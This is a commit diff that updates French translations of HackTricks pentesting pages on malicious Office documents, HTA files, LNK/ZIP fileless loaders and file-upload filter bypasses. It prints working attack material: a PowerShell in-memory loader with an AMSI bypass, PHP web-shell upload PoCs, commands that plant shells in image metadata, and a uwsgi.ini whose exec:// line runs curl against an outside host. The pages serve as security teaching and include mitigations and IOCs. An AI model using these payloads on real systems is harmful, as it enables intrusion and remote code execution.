mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/windows-hardening/ntlm/places-to-steal-ntlm-creds.m
This commit is contained in:
parent
01cffefb72
commit
5d5c132399
@ -2,23 +2,23 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Documents Office
|
||||
## Office Documents
|
||||
|
||||
Microsoft Word effectue une validation des données du fichier avant de l'ouvrir. La validation des données se fait par identification de la structure des données, conformément à la norme OfficeOpenXML. Si une erreur survient lors de l'identification de la structure des données, le fichier analysé ne sera pas ouvert.
|
||||
Microsoft Word effectue une validation des données du fichier avant d'ouvrir un fichier. La validation des données est réalisée sous la forme d'une identification de la structure des données, selon la norme OfficeOpenXML. Si une erreur survient lors de l'identification de la structure des données, le fichier analysé ne sera pas ouvert.
|
||||
|
||||
En général, les fichiers Word contenant des macros utilisent l'extension `.docm`. Cependant, il est possible de renommer le fichier en changeant son extension et de conserver malgré tout la capacité d'exécution des macros.\
|
||||
D'ordinaire, les fichiers Word contenant des macros utilisent l'extension `.docm`. Cependant, il est possible de renommer le fichier en changeant l'extension et de conserver malgré tout la capacité d'exécution des macros.\
|
||||
Par exemple, un fichier RTF ne prend pas en charge les macros, par conception, mais un fichier DOCM renommé en RTF sera traité par Microsoft Word et sera capable d'exécuter des macros.\
|
||||
Les mêmes mécanismes internes s'appliquent à tous les logiciels de la Microsoft Office Suite (Excel, PowerPoint etc.).
|
||||
|
||||
Vous pouvez utiliser la commande suivante pour vérifier quelles extensions vont être exécutées par certains programmes Office:
|
||||
Vous pouvez utiliser la commande suivante pour vérifier quelles extensions vont être exécutées par certains programmes Office :
|
||||
```bash
|
||||
assoc | findstr /i "word excel powerp"
|
||||
```
|
||||
DOCX files referencing a remote template (File –Options –Add-ins –Manage: Templates –Go) that includes macros can “execute” macros as well.
|
||||
Les fichiers DOCX faisant référence à un template distant (File –Options –Add-ins –Manage: Templates –Go) qui inclut des macros peuvent également “exécuter” des macros.
|
||||
|
||||
### Chargement d'image externe
|
||||
### Chargement d'images externes
|
||||
|
||||
Aller à : _Insert --> Quick Parts --> Field_\
|
||||
Aller à : _Insert --> Quick Parts --> Field_\
|
||||
_**Categories**: Links and References, **Filed names**: includePicture, et **Filename or URL**:_ http://<ip>/whatever
|
||||
|
||||
.png>)
|
||||
@ -70,10 +70,10 @@ Allez dans **File > Info > Inspect Document > Inspect Document**, ce qui ouvrira
|
||||
|
||||
#### Extension du document
|
||||
|
||||
Une fois terminé, sélectionnez le menu déroulant **Save as type**, changez le format de **`.docx`** à **Word 97-2003 `.doc`**.\\
|
||||
Faites cela parce que vous **can't save macro's inside a `.docx`** et qu'il existe une **stigmatisation** autour de l'extension macro-enabled **`.docm`** (par ex. l'icône miniature affiche un énorme `!` et certaines passerelles web/email les bloquent complètement). Par conséquent, cette **extension `.doc` héritée est le meilleur compromis**.
|
||||
Lorsque terminé, sélectionnez le menu déroulant **Save as type**, changez le format de **`.docx`** à **Word 97-2003 `.doc`**.\
|
||||
Faites cela parce que vous **can't save macro's inside a `.docx`** et qu'il existe une **stigmatisation** **autour** de l'extension macro-enabled **`.docm`** (par ex. l'icône miniature affiche un énorme `!` et certaines passerelles web/email les bloquent complètement). Par conséquent, cette **ancienne extension `.doc` est le meilleur compromis**.
|
||||
|
||||
#### Générateurs de macros malveillantes
|
||||
#### Malicious Macros Generators
|
||||
|
||||
- MacOS
|
||||
- [**macphish**](https://github.com/cldrn/macphish)
|
||||
@ -81,9 +81,9 @@ Faites cela parce que vous **can't save macro's inside a `.docx`** et qu'il exis
|
||||
|
||||
## Fichiers HTA
|
||||
|
||||
Un HTA est un programme Windows qui **combine HTML et des langages de script (tels que VBScript et JScript)**. Il génère l'interface utilisateur et s'exécute en tant qu'application "fully trusted", sans les contraintes du modèle de sécurité d'un navigateur.
|
||||
Un HTA est un programme Windows qui **combine HTML et des langages de script (tels que VBScript et JScript)**. Il génère l'interface utilisateur et s'exécute comme une application "fully trusted", sans les contraintes du modèle de sécurité d'un navigateur.
|
||||
|
||||
Un HTA est exécuté via **`mshta.exe`**, qui est généralement **installé** avec **Internet Explorer**, rendant **`mshta` dependant on IE**. Donc, s'il a été désinstallé, les HTA ne pourront pas s'exécuter.
|
||||
Un HTA est exécuté à l'aide de **`mshta.exe`**, qui est typiquement **installé** avec **Internet Explorer**, rendant **`mshta` dépendant d'IE**. Donc si celui-ci a été désinstallé, les HTA ne pourront pas s'exécuter.
|
||||
```html
|
||||
<--! Basic HTA Execution -->
|
||||
<html>
|
||||
@ -140,9 +140,9 @@ self.close
|
||||
```
|
||||
## Forcer l'authentification NTLM
|
||||
|
||||
Il existe plusieurs manières de **forcer l'authentification NTLM "à distance"**, par exemple, vous pouvez ajouter des **images invisibles** aux emails ou à du HTML que l'utilisateur ouvrira (même HTTP MitM ?). Ou envoyer à la victime l'**adresse de fichiers** qui **déclenchera** une **authentification** rien qu'en **ouvrant le dossier.**
|
||||
Il existe plusieurs façons de **forcer l'authentification NTLM "à distance"**, par exemple, vous pouvez ajouter des **images invisibles** aux emails ou au HTML que l'utilisateur ouvrira (même HTTP MitM?). Ou envoyer à la victime l'**adresse de fichiers** qui **déclenchera** une **authentification** rien qu'en **ouvrant le dossier.**
|
||||
|
||||
**Consultez ces idées et d'autres dans les pages suivantes :**
|
||||
**Consultez ces idées et plus dans les pages suivantes :**
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -156,24 +156,24 @@ Il existe plusieurs manières de **forcer l'authentification NTLM "à distance"*
|
||||
|
||||
### NTLM Relay
|
||||
|
||||
N'oubliez pas que vous pouvez non seulement voler le hash ou l'authentification, mais aussi effectuer des **NTLM relay attacks** :
|
||||
N'oubliez pas que vous ne pouvez pas seulement voler le hash ou l'authentification mais aussi **perform NTLM relay attacks** :
|
||||
|
||||
- [**NTLM Relay attacks**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack)
|
||||
- [**AD CS ESC8 (NTLM relay to certificates)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8)
|
||||
|
||||
## LNK Loaders + ZIP-Embedded Payloads (fileless chain)
|
||||
|
||||
Les campagnes très efficaces livrent un ZIP contenant deux documents leurres légitimes (PDF/DOCX) et un .lnk malveillant. L'astuce est que le loader PowerShell réel est stocké dans les octets bruts du ZIP après un marqueur unique, et le .lnk l'extrait et l'exécute entièrement en mémoire.
|
||||
Les campagnes très efficaces livrent un ZIP qui contient deux documents d'appât légitimes (PDF/DOCX) et un .lnk malveillant. L'astuce est que le chargeur PowerShell réel est stocké dans les octets bruts du ZIP après un marqueur unique, et le .lnk l'extrait et l'exécute entièrement en mémoire.
|
||||
|
||||
Flux typique mis en œuvre par la one-liner PowerShell du .lnk :
|
||||
Typical flow implemented by the .lnk PowerShell one-liner:
|
||||
|
||||
1) Localiser le ZIP original dans des chemins courants : Desktop, Downloads, Documents, %TEMP%, %ProgramData%, et le parent du répertoire de travail actuel.
|
||||
2) Lire les octets du ZIP et trouver un marqueur codé en dur (par ex., xFIQCV). Tout ce qui suit le marqueur est la charge utile PowerShell embarquée.
|
||||
3) Copier le ZIP dans %ProgramData%, l'extraire là, et ouvrir le .docx leurre pour paraître légitime.
|
||||
1) Localiser le ZIP original dans des chemins courants : Desktop, Downloads, Documents, %TEMP%, %ProgramData%, et le répertoire parent du répertoire de travail courant.
|
||||
2) Lire les octets du ZIP et trouver un marqueur en dur (par ex., xFIQCV). Tout ce qui suit le marqueur est la charge utile PowerShell intégrée.
|
||||
3) Copier le ZIP vers %ProgramData%, l'extraire là, et ouvrir le .docx d'appât pour paraître légitime.
|
||||
4) Contourner AMSI pour le processus courant : [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true
|
||||
5) Déobfusquer l'étape suivante (par ex., supprimer tous les caractères #) et l'exécuter en mémoire.
|
||||
|
||||
Exemple de squelette PowerShell pour extraire et exécuter l'étape embarquée :
|
||||
Exemple de squelette PowerShell pour extraire et exécuter l'étape intégrée :
|
||||
```powershell
|
||||
$marker = [Text.Encoding]::ASCII.GetBytes('xFIQCV')
|
||||
$paths = @(
|
||||
@ -191,25 +191,25 @@ $code = [Text.Encoding]::UTF8.GetString($stage) -replace '#',''
|
||||
Invoke-Expression $code
|
||||
```
|
||||
Remarques
|
||||
- La diffusion abuse souvent des sous-domaines PaaS réputés (p. ex., *.herokuapp.com) et peut restreindre les payloads (servir des ZIPs bénins selon l'IP/UA).
|
||||
- L'étape suivante décrypte fréquemment du base64/XOR shellcode et l'exécute via Reflection.Emit + VirtualAlloc pour minimiser les artefacts sur le disque.
|
||||
- Delivery often abuses reputable PaaS subdomains (e.g., *.herokuapp.com) and may gate payloads (serve benign ZIPs based on IP/UA).
|
||||
- L'étape suivante décrypte fréquemment du shellcode base64/XOR et l'exécute via Reflection.Emit + VirtualAlloc pour minimiser les artefacts sur disque.
|
||||
|
||||
Persistance utilisée dans la même chaîne
|
||||
- COM TypeLib hijacking du Microsoft Web Browser control de sorte que IE/Explorer ou toute application l'intégrant relance automatiquement le payload. Voir les détails et commandes prêtes à l'emploi ici :
|
||||
Persistence used in the same chain
|
||||
- COM TypeLib hijacking du Microsoft Web Browser control afin que IE/Explorer ou toute application l'intégrant relance automatiquement le payload. See details and ready-to-use commands here:
|
||||
|
||||
{{#ref}}
|
||||
../../windows-hardening/windows-local-privilege-escalation/com-hijacking.md
|
||||
{{#endref}}
|
||||
|
||||
Hunting/IOCs
|
||||
- ZIP files containing the ASCII marker string (e.g., xFIQCV) appended to the archive data.
|
||||
- .lnk qui énumère les dossiers parents/utilisateurs pour localiser le ZIP et ouvre un document leurre.
|
||||
- Fichiers ZIP contenant la chaîne marqueur ASCII (p.ex., xFIQCV) ajoutée aux données de l'archive.
|
||||
- .lnk qui énumère les dossiers parent/utilisateur pour localiser le ZIP et ouvre un document leurre.
|
||||
- AMSI tampering via [System.Management.Automation.AmsiUtils]::amsiInitFailed.
|
||||
- Threads métier de longue durée se terminant par des liens hébergés sous des domaines PaaS de confiance.
|
||||
|
||||
## Fichiers Windows pour voler des hashes NTLM
|
||||
## Fichiers Windows pour voler des hachages NTLM
|
||||
|
||||
Consultez la page à propos de **places to steal NTLM creds** :
|
||||
Consultez la page sur **les endroits pour voler des identifiants NTLM** :
|
||||
|
||||
{{#ref}}
|
||||
../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md
|
||||
|
@ -2,12 +2,12 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Méthodologie générale de téléversement de fichiers
|
||||
## Méthodologie générale pour le téléversement de fichiers
|
||||
|
||||
Other useful extensions:
|
||||
Autres extensions utiles :
|
||||
|
||||
- **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
|
||||
- **Working in PHPv8**: _.php_, _.php4_, _.php5_, .phtml_, .module_, .inc_, .hphp_, .ctp_
|
||||
- **Working in PHPv8**: _.php_, _.php4_, .php5_, .phtml_, .module_, .inc_, .hphp_, .ctp_
|
||||
- **ASP**: _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml_
|
||||
- **Jsp:** _.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action_
|
||||
- **Coldfusion:** _.cfm, .cfml, .cfc, .dbm_
|
||||
@ -17,11 +17,11 @@ Other useful extensions:
|
||||
|
||||
### Contourner les vérifications d'extensions de fichiers
|
||||
|
||||
1. S'ils s'appliquent, **vérifiez** les **extensions précédentes.** Testez-les aussi en utilisant des **lettres MAJUSCULES** : _pHp, .pHP5, .PhAr ..._
|
||||
1. Si elles sont appliquées, **vérifiez** les **extensions précédentes.** Testez-les aussi en utilisant des **lettres MAJUSCULES** : _pHp, .pHP5, .PhAr ..._
|
||||
2. _Vérifiez **l'ajout d'une extension valide avant** l'extension exécutable (utilisez aussi les extensions précédentes) :_
|
||||
- _file.png.php_
|
||||
- _file.png.Php5_
|
||||
3. Essayez d'ajouter **des caractères spéciaux à la fin.** Vous pouvez utiliser Burp pour **bruteforce** tous les caractères **ascii** et **Unicode**. (_Notez que vous pouvez aussi essayer d'utiliser les **extensions** mentionnées précédemment_)
|
||||
3. Essayez d'ajouter des **caractères spéciaux à la fin.** Vous pouvez utiliser Burp pour **bruteforcer** tous les caractères **ascii** et **Unicode**. (_Notez que vous pouvez aussi essayer d'utiliser les **extensions** mentionnées **précédemment**_)
|
||||
- _file.php%20_
|
||||
- _file.php%0a_
|
||||
- _file.php%00_
|
||||
@ -31,7 +31,7 @@ Other useful extensions:
|
||||
- _file._
|
||||
- _file.php...._
|
||||
- _file.pHp5...._
|
||||
4. Essayez de contourner les protections en **trompant le parseur d'extensions** côté serveur avec des techniques comme le **doublage** de l'**extension** ou l'**ajout de données inutiles** (octets **null**) entre les extensions. _Vous pouvez aussi utiliser les **extensions précédentes** pour préparer un meilleur payload._
|
||||
4. Essayez de contourner les protections en **trompant le parser d'extensions** côté serveur avec des techniques comme le **doublage** de l'**extension** ou l'**ajout de données inutiles** (octets **null**) entre les extensions. _Vous pouvez aussi utiliser les **extensions précédentes** pour préparer un payload plus efficace._
|
||||
- _file.png.php_
|
||||
- _file.png.pHp5_
|
||||
- _file.php#.png_
|
||||
@ -40,13 +40,13 @@ Other useful extensions:
|
||||
- _file.php%0a.png_
|
||||
- _file.php%0d%0a.png_
|
||||
- _file.phpJunk123png_
|
||||
5. Ajoutez **une couche supplémentaire d'extensions** à la vérification précédente :
|
||||
5. Ajoutez **une autre couche d'extensions** aux contrôles précédents :
|
||||
- _file.png.jpg.php_
|
||||
- _file.php%00.png%00.jpg_
|
||||
6. Essayez de placer l'**extension exécutable avant l'extension valide** et priez pour que le serveur soit mal configuré. (utile pour exploiter des misconfigurations Apache où tout fichier dont l'extension est **_.php_**, mais pas nécessairement se terminant par .php, exécutera du code):
|
||||
6. Essayez de placer l'**extension exécutable avant l'extension valide** et croisez les doigts si le serveur est mal configuré. (utile pour exploiter des misconfigurations Apache où tout fichier avec l'extension **.php**, mais **ne finissant pas nécessairement par .php**, exécutera du code) :
|
||||
- _ex: file.php.png_
|
||||
7. Utilisation des **NTFS alternate data stream (ADS)** sous **Windows**. Dans ce cas, un caractère deux-points ":" sera inséré après une extension interdite et avant une autorisée. En conséquence, un **fichier vide avec l'extension interdite** sera créé sur le serveur (ex. "file.asax:.jpg”). Ce fichier peut être édité plus tard en utilisant d'autres techniques telles que l'utilisation de son short filename. Le motif "**::$data**” peut aussi être utilisé pour créer des fichiers non vides. Par conséquent, l'ajout d'un point après ce motif peut aussi être utile pour contourner d'autres restrictions (ex. "file.asp::$data.”)
|
||||
8. Essayez de dépasser les limites de longueur du nom de fichier. L'extension valide est tronquée. Et le PHP malveillant reste. AAA<--SNIP-->AAA.php
|
||||
7. Utilisation des **NTFS alternate data stream (ADS)** sous **Windows**. Dans ce cas, un caractère deux-points ":" sera inséré après une extension interdite et avant une autorisée. En conséquence, un **fichier vide avec l'extension interdite** sera créé sur le serveur (ex. "file.asax:.jpg"). Ce fichier peut être édité plus tard via d'autres techniques comme l'utilisation de son short filename. Le motif "**::$data**" peut aussi être utilisé pour créer des fichiers non vides. Par conséquent, ajouter un point après ce motif peut aussi être utile pour contourner d'autres restrictions (ex. "file.asp::$data.")
|
||||
8. Essayez de dépasser les limites de nom de fichier. L'extension valide est tronquée. Et le PHP malveillant subsiste. AAA<--SNIP-->AAA.php
|
||||
|
||||
```
|
||||
# Linux maximum 255 bytes
|
||||
@ -61,13 +61,13 @@ AAA<--SNIP 232 A-->AAA.php.png
|
||||
|
||||
#### UniSharp Laravel Filemanager pre-2.9.1 (.php. trailing dot) – CVE-2024-21546
|
||||
|
||||
Certains gestionnaires d'upload tronquent ou normalisent les caractères point finaux du nom de fichier enregistré. Dans UniSharp’s Laravel Filemanager (unisharp/laravel-filemanager) versions antérieures à 2.9.1, vous pouvez contourner la validation d'extension en :
|
||||
Certains gestionnaires de téléversement suppriment ou normalisent les caractères point (.) terminaux du nom de fichier enregistré. Dans UniSharp’s Laravel Filemanager (unisharp/laravel-filemanager) versions antérieures à 2.9.1, vous pouvez contourner la validation d'extension en :
|
||||
|
||||
- En utilisant un MIME d'image valide et l'en-tête magique (par ex., PNG’s `\x89PNG\r\n\x1a\n`).
|
||||
- Nommer le fichier téléversé avec une extension PHP suivie d'un point, p.ex., `shell.php.`.
|
||||
- Le serveur supprime le point final et persiste `shell.php`, qui s'exécutera s'il est placé dans un répertoire servi par le web (stockage public par défaut comme `/storage/files/`).
|
||||
- Utilisant un MIME d'image valide et l'en-tête magique correspondant (par ex., PNG `\x89PNG\r\n\x1a\n`).
|
||||
- Nommant le fichier uploadé avec une extension PHP suivie d'un point, ex. `shell.php.`.
|
||||
- Le serveur retire le point final et conserve `shell.php`, qui s'exécutera s'il est placé dans un répertoire servi par le web (stockage public par défaut comme `/storage/files/`).
|
||||
|
||||
PoC minimal (Burp Repeater):
|
||||
PoC minimal (Burp Repeater) :
|
||||
```http
|
||||
POST /profile/avatar HTTP/1.1
|
||||
Host: target
|
||||
@ -80,56 +80,55 @@ Content-Type: image/png
|
||||
\x89PNG\r\n\x1a\n<?php system($_GET['cmd']??'id'); ?>
|
||||
------WebKitFormBoundary--
|
||||
```
|
||||
Puis accédez au chemin enregistré (typique dans Laravel + LFM):
|
||||
Puis accédez au chemin enregistré (typique dans Laravel + LFM) :
|
||||
```
|
||||
GET /storage/files/0xdf.php?cmd=id
|
||||
```
|
||||
Atténuations :
|
||||
- Mettre à jour unisharp/laravel-filemanager vers ≥ 2.9.1.
|
||||
- Appliquer des allowlists strictes côté serveur et revérifier le nom de fichier persistant.
|
||||
- Servir les téléversements depuis des emplacements non exécutables.
|
||||
Mesures d'atténuation :
|
||||
- Upgrade unisharp/laravel-filemanager to ≥ 2.9.1.
|
||||
- Enforce strict server-side allowlists and re-validate the persisted filename.
|
||||
- Serve uploads from non-executable locations.
|
||||
|
||||
### Bypass Content-Type, Magic Number, Compression & Resizing
|
||||
### Contourner Content-Type, magic number, compression & redimensionnement
|
||||
|
||||
- Contourner les vérifications de **Content-Type** en définissant la **valeur** de l'**en-tête** **Content-Type** sur : _image/png_ , _text/plain , application/octet-stream_
|
||||
- Contourner les contrôles **Content-Type** en définissant la **valeur** de l'**entête** **Content-Type** sur : _image/png_ , _text/plain , application/octet-stream_
|
||||
1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
|
||||
- Contourner la vérification du **magic number** en ajoutant au début du fichier les **octets d'une vraie image** (tromper la commande _file_). Ou introduire le shell dans les **métadonnées**:\
|
||||
- Contourner le contrôle du **magic number** en ajoutant au début du fichier les **octets d'une vraie image** (tromper la commande _file_). Ou introduire le shell dans les **métadonnées**:\
|
||||
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
|
||||
`\` ou vous pouvez aussi **introduire le payload directement** dans une image :\
|
||||
`\` or you could also **introduce the payload directly** in an image:\
|
||||
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
|
||||
- Si une **compression est appliquée à votre image**, par exemple en utilisant des bibliothèques PHP standard comme [PHP-GD](https://www.php.net/manual/fr/book.image.php), les techniques précédentes ne fonctionneront pas. Cependant, vous pouvez utiliser le **PLTE chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) pour insérer du texte qui **survivra à la compression**.
|
||||
- Si une **compression est appliquée à votre image**, par exemple en utilisant des bibliothèques PHP standards comme [PHP-GD](https://www.php.net/manual/fr/book.image.php), les techniques précédentes ne seront pas utiles. Cependant, vous pouvez utiliser le **PLTE chunk** [**technique définie ici**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) pour insérer du texte qui **survivra à la compression**.
|
||||
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
|
||||
- La page web peut aussi **redimensionner** l'**image**, en utilisant par exemple les fonctions PHP-GD `imagecopyresized` ou `imagecopyresampled`. Cependant, vous pouvez utiliser le **IDAT chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) pour insérer du texte qui **survivra à la compression**.
|
||||
- La page web peut aussi **redimensionner** l'**image**, en utilisant par exemple les fonctions PHP-GD `imagecopyresized` ou `imagecopyresampled`. Cependant, vous pouvez utiliser le **IDAT chunk** [**technique définie ici**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) pour insérer du texte qui **survivra à la compression**.
|
||||
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
|
||||
- Une autre technique pour créer un payload qui **survit au redimensionnement d'une image**, en utilisant la fonction PHP-GD `thumbnailImage`. Cependant, vous pouvez utiliser le **tEXt chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) pour insérer du texte qui **survivra à la compression**.
|
||||
- Une autre technique pour créer un payload qui **survit au redimensionnement d'une image**, en utilisant la fonction PHP-GD `thumbnailImage`. Cependant, vous pouvez utiliser le **tEXt chunk** [**technique définie ici**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) pour insérer du texte qui **survivra à la compression**.
|
||||
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
|
||||
|
||||
### Autres astuces à tester
|
||||
|
||||
- Trouver une vulnérabilité permettant de **renommer** le fichier déjà téléversé (pour changer l'extension).
|
||||
- Trouver une vulnérabilité de **Local File Inclusion** pour exécuter la backdoor.
|
||||
- **Divulgation d'informations possible** :
|
||||
1. Téléverser **plusieurs fois** (et au **même moment**) le **même fichier** avec le **même nom**
|
||||
- Trouver une vulnérabilité permettant de **renommer** le fichier déjà uploaded (pour changer l'extension).
|
||||
- Trouver une vulnérabilité de type **Local File Inclusion** pour exécuter le backdoor.
|
||||
- **Divulgation d'information possible** :
|
||||
1. Téléverser **plusieurs fois** (et en **même temps**) le **même fichier** avec le **même nom**
|
||||
2. Téléverser un fichier portant le **nom** d'un **fichier** ou d'un **dossier** qui **existe déjà**
|
||||
3. Téléverser un fichier avec **"." , "..", ou "…" comme nom**. Par exemple, sous Apache en **Windows**, si l'application enregistre les fichiers téléversés dans le répertoire "/www/uploads/", le nom de fichier "." créera un fichier appelé
|
||||
uploads” dans le "/www/" directory.
|
||||
3. Téléverser un fichier nommé ".", "..", ou "…". Par exemple, sous Apache sur **Windows**, si l'application sauvegarde les fichiers uploadés dans le répertoire "/www/uploads/", le nom de fichier "." créera un fichier appelé "uploads" dans le répertoire "/www/".
|
||||
4. Téléverser un fichier qui peut être difficile à supprimer comme **"…:.jpg"** sur **NTFS**. (Windows)
|
||||
5. Téléverser un fichier sous **Windows** avec des **caractères invalides** tels que `|<>*?”` dans son nom. (Windows)
|
||||
6. Téléverser un fichier sous **Windows** en utilisant des **noms réservés** (**interdits**) tels que CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, et LPT9.
|
||||
- Essayez aussi de **téléverser un exécutable** (.exe) ou un **.html** (moins suspect) qui **exécutera du code** lorsqu'il sera accidentellement ouvert par la victime.
|
||||
5. Téléverser un fichier sous **Windows** contenant des **caractères invalides** tels que `|<>*?”` dans son nom. (Windows)
|
||||
6. Téléverser un fichier sous **Windows** en utilisant des noms réservés (**interdits**) tels que CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, et LPT9.
|
||||
- Essayez aussi de **téléverser un exécutable** (.exe) ou un **.html** (moins suspect) qui **exécutera du code** lorsqu'il sera ouvert accidentellement par la victime.
|
||||
|
||||
### Astuces pour extensions particulières
|
||||
### Astuces pour extensions spéciales
|
||||
|
||||
Si vous essayez de téléverser des fichiers vers un **PHP server**, [take a look at the **.htaccess** trick to execute code](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
|
||||
Si vous essayez de téléverser des fichiers vers un **ASP server**, [take a look at the **.config** trick to execute code](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
|
||||
Si vous essayez de téléverser des fichiers vers un **serveur PHP**, [jetez un œil à l'astuce **.htaccess** pour exécuter du code](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
|
||||
Si vous essayez de téléverser des fichiers vers un **serveur ASP**, [consultez l'astuce **.config** pour exécuter du code](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
|
||||
|
||||
Les fichiers `.phar` sont comme les `.jar` pour java, mais pour php, et peuvent être **utilisés comme un fichier php** (en l'exécutant avec php, ou en l'incluant dans un script...)
|
||||
Les fichiers `.phar` sont similaires aux `.jar` pour Java, mais pour PHP, et peuvent être **utilisés comme un fichier php** (exécutés avec php, ou inclus dans un script...).
|
||||
|
||||
L'extension `.inc` est parfois utilisée pour des fichiers php destinés uniquement à **importer des fichiers**, donc, à un moment donné, quelqu'un pourrait avoir autorisé **l'exécution de cette extension**.
|
||||
|
||||
## **Jetty RCE**
|
||||
|
||||
Si vous pouvez téléverser un fichier XML sur un serveur Jetty vous pouvez obtenir [RCE because **new *.xml and *.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Donc, comme indiqué dans l'image suivante, téléversez le fichier XML dans `$JETTY_BASE/webapps/` et attendez le shell!
|
||||
Si vous pouvez téléverser un fichier XML sur un serveur Jetty, vous pouvez obtenir [RCE because **new *.xml and *.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Donc, comme indiqué sur l'image suivante, téléversez le fichier XML dans `$JETTY_BASE/webapps/` et attendez-vous à obtenir un shell!
|
||||
|
||||
.png>)
|
||||
|
||||
@ -137,9 +136,9 @@ Si vous pouvez téléverser un fichier XML sur un serveur Jetty vous pouvez obte
|
||||
|
||||
Pour une exploration détaillée de cette vulnérabilité, consultez la recherche originale : [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
|
||||
|
||||
Les vulnérabilités Remote Command Execution (RCE) peuvent être exploitées sur des serveurs uWSGI si l'on a la capacité de modifier le fichier de configuration `.ini`. Les fichiers de configuration uWSGI utilisent une syntaxe spécifique pour incorporer des "variables magiques", des placeholders et des opérateurs. Notamment, l'opérateur '@', utilisé comme `@(filename)`, est conçu pour inclure le contenu d'un fichier. Parmi les différents schemes supportés par uWSGI, le scheme "exec" est particulièrement puissant, permettant la lecture de données depuis la sortie standard d'un processus. Cette fonctionnalité peut être manipulée à des fins malveillantes telles que Remote Command Execution ou Arbitrary File Write/Read lorsqu'un fichier de configuration `.ini` est traité.
|
||||
Les vulnérabilités Remote Command Execution (RCE) peuvent être exploitées sur des serveurs uWSGI si l'on a la capacité de modifier le fichier de configuration `.ini`. Les fichiers de configuration uWSGI utilisent une syntaxe spécifique pour incorporer des variables "magiques", des placeholders et des opérateurs. En particulier, l'opérateur '@', utilisé comme `@(filename)`, est conçu pour inclure le contenu d'un fichier. Parmi les différents schemes pris en charge par uWSGI, le scheme "exec" est particulièrement puissant, permettant de lire des données depuis la sortie standard d'un processus. Cette fonctionnalité peut être détournée à des fins malveillantes telles que Remote Command Execution ou Arbitrary File Write/Read lors du traitement d'un fichier de configuration `.ini`.
|
||||
|
||||
Considérez l'exemple suivant d'un fichier `uwsgi.ini` malveillant, montrant différents schemes :
|
||||
Considérez l'exemple suivant d'un fichier `uwsgi.ini` malveillant, présentant divers schemes:
|
||||
```ini
|
||||
[uwsgi]
|
||||
; read from a symbol
|
||||
@ -157,22 +156,22 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
|
||||
; call a function returning a char *
|
||||
characters = @(call://uwsgi_func)
|
||||
```
|
||||
L'exécution du payload a lieu lors de l'analyse du fichier de configuration. Pour que la configuration soit activée et analysée, le processus uWSGI doit soit être redémarré (éventuellement après un crash ou à cause d'une Denial of Service attack) soit le fichier doit être configuré en auto-reload. La fonctionnalité auto-reload, si elle est activée, recharge le fichier à des intervalles spécifiés lorsqu'un changement est détecté.
|
||||
L'exécution du payload survient lors de l'analyse du fichier de configuration. Pour que la configuration soit activée et analysée, le processus uWSGI doit soit être redémarré (potentiellement après un crash ou à la suite d'une attaque Denial of Service) soit le fichier doit être configuré en auto-reload. La fonctionnalité auto-reload, si activée, recharge le fichier à des intervalles spécifiés lorsqu'elle détecte des modifications.
|
||||
|
||||
Il est crucial de comprendre la nature laxiste du parsing des fichiers de configuration de uWSGI. Plus précisément, le payload discuté peut être inséré dans un fichier binaire (comme une image ou un PDF), élargissant encore le champ d'exploitation possible.
|
||||
